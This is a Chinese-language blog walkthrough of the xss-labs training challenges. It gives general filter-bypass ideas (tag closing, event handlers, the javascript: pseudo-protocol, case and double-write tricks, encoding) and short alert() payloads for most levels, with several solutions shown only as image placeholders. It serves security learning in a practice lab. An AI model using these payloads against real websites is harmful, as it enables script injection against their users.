xss-labs

r1ck9

xss-labs

Text
1
2
3
4
5
6
7
8
9
10
11
12
13
构造xss思路
主要:闭合语句
1.无任何waf 直接插入<script></script>
2.对过滤了<> 可以尝试其他的语句 如 "onclick="alert(1)
3.<script> on家族被监控,尝试<a href=Javascript:alert(1)>1</a>
4.href 等也被ban的时候 考虑大小写绕过
5.大小写被ban 考虑 双写绕过
6." ' 被过滤而没有办法闭合 而很多东西都被ban时,对payload进行Unicode编码或者十六进制编码



美味万能探测语句 <SCRscriptIPT>'"()Oonnjavascript

第一关

反射型xss

image\.png

第二关

过滤了<>

反射型xss

image\.png

可以看到在<h2> </h2>标签之中的恶意代码被编码了。

其中<和>都被编码成了html字符实体。

猜测在服务器端用htmlspecialchars()函数对keyword参数的值进行了处理。

Text
1
2
3
4
5
6
7
"><script>alert('xss')</script>//
**左边的">去闭合原先的"**
**右边的//去注释原先的">**

变成下面的样子:
<input type="text" name="keyword" value="">
<script>alert('xss')</script>//

第三关

< > 被编码了 且 “ 也被编码了,因此上一关的方法用不了

image\.png

'onclick='alert(1)

第四关

image\.png

< > 被屏蔽了 或是 被编码了

同样用上题方法
"onclick="alert(1)

第五关

1.应该是被htmlspecialchars()函数将<>进行了编码处理

2.它在我们的恶意代码<script>中添加了一个_符号

发现不仅<script被替换了,on也被替换了

这意味着我们我们不能使用Script标签和on事件了

但是他并没有对<>进行过滤,因此我们使用a标签来构造payload

Text
1
2
**JavaScript 伪协议**(JavaScript pseudo-protocol)是一种特殊的 URL 格式,用于在网页中执行 JavaScript 代码。它通常以 “javascript:” 开头,后面跟随着 JavaScript 代码。
JavaScript 伪协议最常见的用途是在 HTML 的链接 (`` 标签) 的 href 属性中,或者在 HTML 的事件处理器中,如 onclick 事件。

"><a href=javascript:alert(1)>1</a>

第六关

大小写

第七关

双写

第八关

发现双写不管用了,同时双引号也被实体化了,但是单引号没有,说明对过滤没有使用实体化函数,而是双引号被替换了

要想到十六进制或unicode编码

image\.png

第九关

Text
1
2
这里还用到了strpos()函数
strpos() 函数用于在字符串中查找第一次出现子字符串的位置,并返回其位置的索引。如果找到子字符串,则返回第一次出现的位置(索引值),如果没有找到,则返回 false。

第十关

发现他对t_sort传来的值过滤了<>

还记不记之前提的,过滤了<>就用on事件,但是这次并没有输入框啊

法一:?keyword=<script>alert('xss')</script>&t_sort=" type="text" onclick="alert('xss')

法二:前端开发者模式

image\.png

第十一关

屏幕截图 2026\-01\-05 013059\.png

第十二关

image\.png

第十三关

image\.png

记得加 user

第十五关

?src='level1.php?name=<img src=1 onerror=alert(1)>'

第十六关

回车绕过法%A0

http://xss-labs:8082/level16.php?keyword=<img%0Asrc=1%0Aonerror=alert(1)>

  • 标题: xss-labs
  • 作者: r1ck9
  • 创建于 : 2026-01-05 12:17:53
  • 更新于 : 2026-08-13 10:14:48
  • 链接: https://www.r1ck9.top/2026/01/05/xss-labs/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论